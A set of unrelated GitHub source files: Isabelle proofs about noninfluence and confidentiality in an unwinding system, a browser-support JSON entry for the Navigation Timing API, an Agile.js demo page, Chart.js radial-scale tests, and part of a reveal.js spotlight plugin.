x=s in spec, drule_tac x=t in spec) apply(simp add: xources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma xNoninfluence_strong_uwr_sources_ipurgx_confidentiality_u_weak: "xNoninfluence_strong_uwr_sources_ipurgx \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_ipurgx_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: sources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma xNoninfluence_strong_uwr_xources_ipurgx_confidentiality_u_weak: "xNoninfluence_strong_uwr_xources_ipurgx \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_ipurgx_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: xources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma xNoninfluence_strong_uwr_sources_xpurgx_confidentiality_u_weak: "xNoninfluence_strong_uwr_sources_xpurgx \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_xpurgx_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: sources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma xNoninfluence_strong_uwr_xources_xpurgx_confidentiality_u_weak: "xNoninfluence_strong_uwr_xources_xpurgx \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_xpurgx_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: xources_Step_2 sameFor_dom_def uwr_equiv_def Step_def) done lemma ipurge_single_eq: "\<lbrakk>reachable s; reachable t; s \<sim>schedDomain\<sim> t\<rbrakk> \<Longrightarrow> ipurge u [a] {s} = ipurge u [a] {t}" apply(frule_tac e=a in schedIncludesCurrentDom) apply(simp add: ipurge_Cons ipurge_Nil sources_Cons sources_Nil) apply (auto dest: enabled_Step) done lemma Noninfluence_strong_uwr_pg_confidentiality_u_weak: "Noninfluence_strong_uwr_pg \<Longrightarrow> confidentiality_u_weak" apply(clarsimp simp: Noninfluence_strong_uwr_pg_def confidentiality_u_weak_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[a]" in spec) apply(drule_tac x=s in spec, drule_tac x=t in spec) apply(simp add: sources_Step_2 sameFor_dom_def uwr_equiv_def Step_def ipurge_single_eq) done end context complete_unwinding_system begin lemma Nonleakage_gen_xNonleakage_gen: "confidentiality_u \<Longrightarrow> Nonleakage_gen = xNonleakage_gen" apply(simp add: Nonleakage_gen_def xNonleakage_gen_def) apply(fastforce simp: xources_sources) done lemma xNonleakage_gen: "confidentiality_u \<Longrightarrow> xNonleakage_gen" apply(simp add: Nonleakage_gen_xNonleakage_gen[symmetric]) apply(erule Nonleakage_gen) done lemma xNonleakage_gen_confidentiality_u: "xNonleakage_gen \<Longrightarrow> confidentiality_u" apply(clarsimp simp: xNonleakage_gen_def confidentiality_u_def) apply(drule_tac x="[a]" in spec, drule_tac x=s in spec) apply(drule_tac x=u in spec, drule_tac x=t in spec) apply(case_tac "dom a s \<leadsto> u") apply(simp add: xources_Step_2 uwr_equiv_def sameFor_dom_def Step_def) apply(simp add: xources_Step uwr_equiv_def sameFor_dom_def Step_def) done lemma xNoninfluence_strong_uwr_xources_ipurge_integrity_u: "xNoninfluence_strong_uwr_xources_ipurge \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_ipurge_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: sources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def ipurge_Cons ipurge_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma xNoninfluence_strong_uwr_sources_xpurge_integrity_u: "xNoninfluence_strong_uwr_sources_xpurge \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_xpurge_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: xources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def xpurge_Cons xpurge_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma xNoninfluence_strong_uwr_xources_xpurge_integrity_u: "xNoninfluence_strong_uwr_xources_xpurge \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_xpurge_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: xources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def xpurge_Cons xpurge_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma xNoninfluence_strong_uwr_sources_ipurgx_integrity_u: "xNoninfluence_strong_uwr_sources_ipurgx \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_ipurgx_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: sources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def ipurgx_Cons ipurgx_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma xNoninfluence_strong_uwr_xources_ipurgx_integrity_u: "xNoninfluence_strong_uwr_xources_ipurgx \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_ipurgx_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: sources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def ipurgx_Cons ipurgx_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma xNoninfluence_strong_uwr_sources_xpurgx_integrity_u: "xNoninfluence_strong_uwr_sources_xpurgx \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_sources_xpurgx_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: xources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def xpurgx_Cons xpurgx_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma xNoninfluence_strong_uwr_xources_xpurgx_integrity_u: "xNoninfluence_strong_uwr_xources_xpurgx \<Longrightarrow> integrity_u" apply(clarsimp simp: xNoninfluence_strong_uwr_xources_xpurgx_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: xources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def xpurgx_Cons xpurgx_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done lemma Noninfluence_strong_uwr_pg_integrity_u: "Noninfluence_strong_uwr_pg \<Longrightarrow> integrity_u" apply(clarsimp simp: Noninfluence_strong_uwr_pg_def integrity_u_def) apply(drule_tac x=u in spec, drule_tac x="[a]" in spec, drule_tac x="[]" in spec) apply(drule_tac x=s in spec, drule_tac x=s in spec) apply(simp add: sources_Step sameFor_dom_def uwr_refl uwr_equiv_def Step_def ipurge_Cons ipurge_Nil split: if_splits) apply(simp add: policy_refl) apply(simp add: execution_Nil) apply(blast intro: uwr_sym) done (* The choice as to which sources/ipurge definition to adopt doesn't matter. For this reason we adopt the one that is simpler to prove the sufficiency of the unwinding conditions for, while having both the sources and ipurge being of the same "kind". *) lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_xources_ipurge: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_xources_ipurge" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_xources_ipurge_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_xources_ipurge_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_xources_ipurge_integrity_u) done lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_sources_xpurge: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_sources_xpurge" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_sources_xpurge_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_sources_xpurge_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_sources_xpurge_integrity_u) done lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_xources_xpurge: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_xources_xpurge" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_xources_xpurge_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_xources_xpurge_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_xources_xpurge_integrity_u) done lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_sources_ipurgx: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_sources_ipurgx" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_sources_ipurgx_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_sources_ipurgx_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_sources_ipurgx_integrity_u) done lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_xources_ipurgx: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_xources_ipurgx" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_xources_ipurgx_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_xources_ipurgx_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_xources_ipurgx_integrity_u) done lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_sources_xpurgx: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_sources_xpurgx" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_sources_xpurgx_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_sources_xpurgx_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_sources_xpurgx_integrity_u) done lemma Noninfluence_strong_uwr_equiv_xNoninfluence_strong_uwr_xources_xpurgx: "Noninfluence_strong_uwr = xNoninfluence_strong_uwr_xources_xpurgx" apply(rule iffI) apply(subst xNoninfluence_strong_uwr_xources_xpurgx_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule xNoninfluence_strong_uwr_xources_xpurgx_confidentiality_u_weak) apply(erule xNoninfluence_strong_uwr_xources_xpurgx_integrity_u) done lemma Noninfluence_strong_uwr_equiv_Noninfluence_strong_uwr_pg: "Noninfluence_strong_uwr = Noninfluence_strong_uwr_pg" apply(rule iffI) apply(subst Noninfluence_strong_uwr_pg_Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_integrity_u) apply assumption apply(rule Noninfluence_strong_uwr) apply(erule Noninfluence_strong_uwr_pg_confidentiality_u_weak) apply(erule Noninfluence_strong_uwr_pg_integrity_u) done end end
{ "pile_set_name": "Github" }
{ "title":"Navigation Timing API", "description":"API for accessing timing information related to navigation and elements.", "spec":"https://www.w3.org/TR/navigation-timing/", "status":"rec", "links":[ { "url":"https://developer.mozilla.org/en/API/navigationTiming", "title":"MDN Web Docs - Navigation Timing" }, { "url":"https://www.html5rocks.com/en/tutorials/webperformance/basics/", "title":"HTML5 Rocks tutorial" }, { "url":"https://www.webplatform.org/docs/apis/navigation_timing", "title":"WebPlatform Docs" } ], "bugs":[ ], "categories":[ "DOM", "JS API" ], "stats":{ "ie":{ "5.5":"n", "6":"n", "7":"n", "8":"n", "9":"y", "10":"y", "11":"y" }, "edge":{ "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y" }, "firefox":{ "2":"n", "3":"n", "3.5":"n", "3.6":"n", "4":"n", "5":"n", "6":"n", "7":"y", "8":"y", "9":"y", "10":"y", "11":"y", "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y" }, "chrome":{ "4":"n", "5":"n", "6":"y x", "7":"y x", "8":"y x", "9":"y x", "10":"y x", "11":"y x", "12":"y x", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y", "63":"y", "64":"y", "65":"y", "66":"y", "67":"y", "68":"y", "69":"y" }, "safari":{ "3.1":"n", "3.2":"n", "4":"n", "5":"n", "5.1":"n", "6":"n", "6.1":"n", "7":"n", "7.1":"n", "8":"y", "9":"y", "9.1":"y", "10":"y", "10.1":"y", "11":"y", "11.1":"y", "12":"y", "TP":"y" }, "opera":{ "9":"n", "9.5-9.6":"n", "10.0-10.1":"n", "10.5":"n", "10.6":"n", "11":"n", "11.1":"n", "11.5":"n", "11.6":"n", "12":"n", "12.1":"n", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y" }, "ios_saf":{ "3.2":"n", "4.0-4.1":"n", "4.2-4.3":"n", "5.0-5.1":"n", "6.0-6.1":"n", "7.0-7.1":"n", "8":"y", "8.1-8.4":"n", "9.0-9.2":"y", "9.3":"y", "10.0-10.2":"y", "10.3":"y", "11.0-11.2":"y", "11.3":"y" }, "op_mini":{ "all":"n" }, "android":{ "2.1":"n", "2.2":"n", "2.3":"n", "3":"n", "4":"y", "4.1":"y", "4.2-4.3":"y", "4.4":"y", "4.4.3-4.4.4":"y", "66":"y" }, "bb":{ "7":"n", "10":"y" }, "op_mob":{ "10":"n", "11":"n", "11.1":"n", "11.5":"n", "12":"n", "12.1":"n", "46":"y" }, "and_chr":{ "66":"y" }, "and_ff":{ "60":"y" }, "ie_mob":{ "10":"y", "11":"y" }, "and_uc":{ "11.8":"y" }, "samsung":{ "4":"y", "5":"y", "6.2":"y" }, "and_qq":{ "1.2":"y" }, "baidu":{ "7.12":"y" } }, "notes":"Removed in iOS 8.1 due to poor performance.", "notes_by_num":{ }, "usage_perc_y":94.41, "usage_perc_a":0, "ucprefix":false, "parent":"", "keywords":"performance,performance.timing,performancenavigation", "ie_id":"navigationtimingapi", "chrome_id":"5584144679567360", "firefox_id":"", "webkit_id":"specification-navigation-timing-level-1", "shown":true }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html> <head> <title>bg1</title> <meta charset="utf-8"> <meta name="viewport" id="viewport" content="width=device-width, user-scalable=no, minimum-scale=.5, maximum-scale=.5"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <style type="text/css"> html, body { width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden; } #container { width: 100%; height: 100%; } </style> </head> <body> <div id="container"></div> <script src="../lib/ppo.min.js"></script> <script src="../lib/qr.js"></script> <script src="//localhost:3001/build/agile.js"></script> <script> var circle, ellipse, triangle, image, rect; main(); function main() { addAgile(); QRCODE.add(10, 10, '#000'); } function addAgile() { Agile.mode = '3d'; var container = new Agile.Container('container'); container.select = false; container.perspective = 1000; container.backface = false; var bg1 = new Agile.ScrollingBg('img/bg.jpg', 600, 390, 5, 'left'); bg1.x = container.width / 2; bg1.y = bg1.height / 2 + 10; bg1.zIndex = 0; bg1.speed = 6; bg1.backgroundWidth = 800; bg1.backgroundHeight = 390; container.addChild(bg1); var bg2 = new Agile.ScrollingBg('img/bg.jpg', 600, 390, 5, 'up'); bg2.x = container.width / 2; bg2.y = bg1.y + bg2.height + 10; bg2.backgroundWidth = 800; bg2.backgroundHeight = 390; bg2.zIndex = 1; bg2.speed = 5; container.addChild(bg2); } </script> </body> </html>
{ "pile_set_name": "Github" }
// Tests for the radial linear scale used by the polar area and radar charts describe('Test the radial linear scale', function() { it('Should register the constructor with the scale service', function() { var Constructor = Chart.scaleService.getScaleConstructor('radialLinear'); expect(Constructor).not.toBe(undefined); expect(typeof Constructor).toBe('function'); }); it('Should have the correct default config', function() { var defaultConfig = Chart.scaleService.getScaleDefaults('radialLinear'); expect(defaultConfig).toEqual({ angleLines: { display: true, color: 'rgba(0, 0, 0, 0.1)', lineWidth: 1 }, animate: true, display: true, gridLines: { circular: false, color: 'rgba(0, 0, 0, 0.1)', drawBorder: true, drawOnChartArea: true, drawTicks: true, tickMarkLength: 10, lineWidth: 1, offsetGridLines: false, display: true, zeroLineColor: 'rgba(0,0,0,0.25)', zeroLineWidth: 1, zeroLineBorderDash: [], zeroLineBorderDashOffset: 0.0, borderDash: [], borderDashOffset: 0.0 }, pointLabels: { display: true, fontSize: 10, callback: defaultConfig.pointLabels.callback, // make this nicer, then check explicitly below }, position: 'chartArea', offset: false, scaleLabel: Chart.defaults.scale.scaleLabel, ticks: { backdropColor: 'rgba(255,255,255,0.75)', backdropPaddingY: 2, backdropPaddingX: 2, beginAtZero: false, minRotation: 0, maxRotation: 50, mirror: false, padding: 0, reverse: false, showLabelBackdrop: true, display: true, callback: defaultConfig.ticks.callback, // make this nicer, then check explicitly below autoSkip: true, autoSkipPadding: 0, labelOffset: 0, minor: {}, major: {}, }, }); // Is this actually a function expect(defaultConfig.ticks.callback).toEqual(jasmine.any(Function)); expect(defaultConfig.pointLabels.callback).toEqual(jasmine.any(Function)); }); it('Should correctly determine the max & min data values', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, -5, 78, -100] }, { data: [150] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5', 'label6'] }, options: { scales: {} } }); expect(chart.scale.min).toBe(-100); expect(chart.scale.max).toBe(150); }); it('Should correctly determine the max & min of string data values', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: ['10', '5', '0', '-5', '78', '-100'] }, { data: ['150'] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5', 'label6'] }, options: { scales: {} } }); expect(chart.scale.min).toBe(-100); expect(chart.scale.max).toBe(150); }); it('Should correctly determine the max & min data values when there are hidden datasets', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: ['10', '5', '0', '-5', '78', '-100'] }, { data: ['150'] }, { data: [1000], hidden: true }], labels: ['label1', 'label2', 'label3', 'label4', 'label5', 'label6'] }, options: { scales: {} } }); expect(chart.scale.min).toBe(-100); expect(chart.scale.max).toBe(150); }); it('Should correctly determine the max & min data values when there is NaN data', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [50, 60, NaN, 70, null, undefined, Infinity, -Infinity] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5', 'label6', 'label7', 'label8'] }, options: { scales: {} } }); expect(chart.scale.min).toBe(50); expect(chart.scale.max).toBe(70); }); it('Should ensure that the scale has a max and min that are not equal', function() { var scaleID = 'myScale'; var mockData = { datasets: [], labels: [] }; var mockContext = window.createMockContext(); var Constructor = Chart.scaleService.getScaleConstructor('radialLinear'); var scale = new Constructor({ ctx: mockContext, options: Chart.scaleService.getScaleDefaults('radialLinear'), // use default config for scale chart: { data: mockData }, id: scaleID, }); scale.update(200, 300); expect(scale.min).toBe(-1); expect(scale.max).toBe(1); }); it('Should use the suggestedMin and suggestedMax options', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [1, 1, 1, 2, 1, 0] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5', 'label6'] }, options: { scale: { ticks: { suggestedMin: -10, suggestedMax: 10 } } } }); expect(chart.scale.min).toBe(-10); expect(chart.scale.max).toBe(10); }); it('Should use the min and max options', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [1, 1, 1, 2, 1, 0] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5', 'label6'] }, options: { scale: { ticks: { min: -1010, max: 1010 } } } }); expect(chart.scale.min).toBe(-1010); expect(chart.scale.max).toBe(1010); expect(chart.scale.ticks).toEqual(['-1010', '-1000', '-500', '0', '500', '1000', '1010']); }); it('should forcibly include 0 in the range if the beginAtZero option is used', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [20, 30, 40, 50] }], labels: ['label1', 'label2', 'label3', 'label4'] }, options: { scale: { ticks: { beginAtZero: false } } } }); expect(chart.scale.ticks).toEqual(['20', '25', '30', '35', '40', '45', '50']); chart.scale.options.ticks.beginAtZero = true; chart.update(); expect(chart.scale.ticks).toEqual(['0', '5', '10', '15', '20', '25', '30', '35', '40', '45', '50']); chart.data.datasets[0].data = [-20, -30, -40, -50]; chart.update(); expect(chart.scale.ticks).toEqual(['-50', '-45', '-40', '-35', '-30', '-25', '-20', '-15', '-10', '-5', '0']); chart.scale.options.ticks.beginAtZero = false; chart.update(); expect(chart.scale.ticks).toEqual(['-50', '-45', '-40', '-35', '-30', '-25', '-20']); }); it('Should generate tick marks in the correct order in reversed mode', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { ticks: { reverse: true } } } }); expect(chart.scale.ticks).toEqual(['80', '70', '60', '50', '40', '30', '20', '10', '0']); expect(chart.scale.start).toBe(80); expect(chart.scale.end).toBe(0); }); it('Should build labels using the user supplied callback', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { ticks: { callback: function(value, index) { return index.toString(); } } } } }); expect(chart.scale.ticks).toEqual(['0', '1', '2', '3', '4', '5', '6', '7', '8']); expect(chart.scale.pointLabels).toEqual(['label1', 'label2', 'label3', 'label4', 'label5']); }); it('Should build point labels using the user supplied callback', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { pointLabels: { callback: function(value, index) { return index.toString(); } } } } }); expect(chart.scale.pointLabels).toEqual(['0', '1', '2', '3', '4']); }); it('should correctly set the center point', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { pointLabels: { callback: function(value, index) { return index.toString(); } } } } }); expect(chart.scale.drawingArea).toBe(233); expect(chart.scale.xCenter).toBe(256); expect(chart.scale.yCenter).toBe(280); }); it('should correctly get the label for a given data index', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { pointLabels: { callback: function(value, index) { return index.toString(); } } } } }); expect(chart.scale.getLabelForIndex(1, 0)).toBe(5); }); it('should get the correct distance from the center point', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { pointLabels: { callback: function(value, index) { return index.toString(); } } } } }); expect(chart.scale.getDistanceFromCenterForValue(chart.scale.min)).toBe(0); expect(chart.scale.getDistanceFromCenterForValue(chart.scale.max)).toBe(233); expect(chart.scale.getPointPositionForValue(1, 5)).toEqual({ x: 270, y: 275, }); chart.scale.options.ticks.reverse = true; chart.update(); expect(chart.scale.getDistanceFromCenterForValue(chart.scale.min)).toBe(233); expect(chart.scale.getDistanceFromCenterForValue(chart.scale.max)).toBe(0); }); it('should correctly get angles for all points', function() { var chart = window.acquireChart({ type: 'radar', data: { datasets: [{ data: [10, 5, 0, 25, 78] }], labels: ['label1', 'label2', 'label3', 'label4', 'label5'] }, options: { scale: { pointLabels: { callback: function(value, index) { return index.toString(); } } }, startAngle: 15 } }); var radToNearestDegree = function(rad) { return Math.round((360 * rad) / (2 * Math.PI)); }; var slice = 72; // (360 / 5) for (var i = 0; i < 5; i++) { expect(radToNearestDegree(chart.scale.getIndexAngle(i))).toBe(15 + (slice * i)); } chart.options.startAngle = 0; chart.update(); for (var x = 0; x < 5; x++) { expect(radToNearestDegree(chart.scale.getIndexAngle(x))).toBe((slice * x)); } }); });
{ "pile_set_name": "Github" }
var RevealSpotlight = window.RevealSpotlight || (function(){ //configs var spotlightSize; var toggleOnMouseDown; var presentingCursor; var presentingCursorOnlyVisibleWhenSpotlightVisible; var drawBoard; var isSpotlightOn = true; var isCursorOn = true; function onRevealJsReady(event){ configure(); drawBoard = setupCanvas(); addWindowResizeListener(); addMouseMoveListener(); if(toggleOnMouseDown){ addMouseToggleSpotlightListener(); setCursor(false); } setSpotlight(false); } function configure(){ var config = Reveal.getConfig().spotlight || {}; spotlightSize = config.size || 60; presentingCursor = config.presentingCursor || "none"; if(config.hasOwnProperty("toggleSpotlightOnMouseDown")){ toggleOnMouseDown = config.toggleSpotlightOnMouseDown; }else{ toggleOnMouseDown = true; } if(config.hasOwnProperty("presentingCursorOnlyVisibleWhenSpotlightVisible")){ presentingCursorOnlyVisibleWhenSpotlightVisible = config.presentingCursorOnlyVisibleWhenSpotlightVisible; }else{ presentingCursorOnlyVisibleWhenSpotlightVisible = true; } } function setupCanvas() { var container = document.createElement('div'); container.id = "spotlight"; container.style.cssText ="position:absolute;top:0;left:0;bottom:0;right:0;z-index:99;"; var canvas = document.createElement('canvas'); var context = canvas.getContext("2d"); canvas.width = window.innerWidth; canvas.height = window.innerHeight; container.appendChild(canvas); document.body.appendChild(container); container.style.display = "none"; return { container, canvas, context } } function addWindowResizeListener() { window.addEventListener('resize', function (e) { var canvas = drawBoard.canvas; canvas.width = window.innerWidth; canvas.height = window.innerHeight; }, false); } function addMouseMoveListener(){ drawBoard.canvas.addEventListener('mousemove', function(e) { showSpotlight(e); }, false); } function addMouseToggleSpotlightListener(){ window.addEventListener("mousedown", function(e) { if(!isCursorOn){ setSpotlight(true); if(presentingCursorOnlyVisibleWhenSpotlightVisible){ document.body.style.cursor = presentingCursor; } showSpotlight(e); } }, false); window.addEventListener("mouseup", function(e) { if(!isCursorOn){ setSpotlight(false); if(presentingCursorOnlyVisibleWhenSpotlightVisible){ document.body.style.cursor = "none"; } } }, false); } function toggleSpotlight(){ setSpotlight(!isSpotlightOn); } function setSpotlight(isOn){ isSpotlightOn = isOn; var container = drawBoard.container; if(isOn){ container.style.display = "block"; } else{ container.style.display = "none"; drawBoard.context.clearRect(0,0,drawBoard.canvas.width, drawBoard.canvas.height); } } function togglePresentationMode(){ setCursor(!isCursorOn); } function setCursor(isOn){ isCursorOn = isOn; if(isOn){ document.body.style.userSelect = "auto"; document.body.style.cursor = "default"; 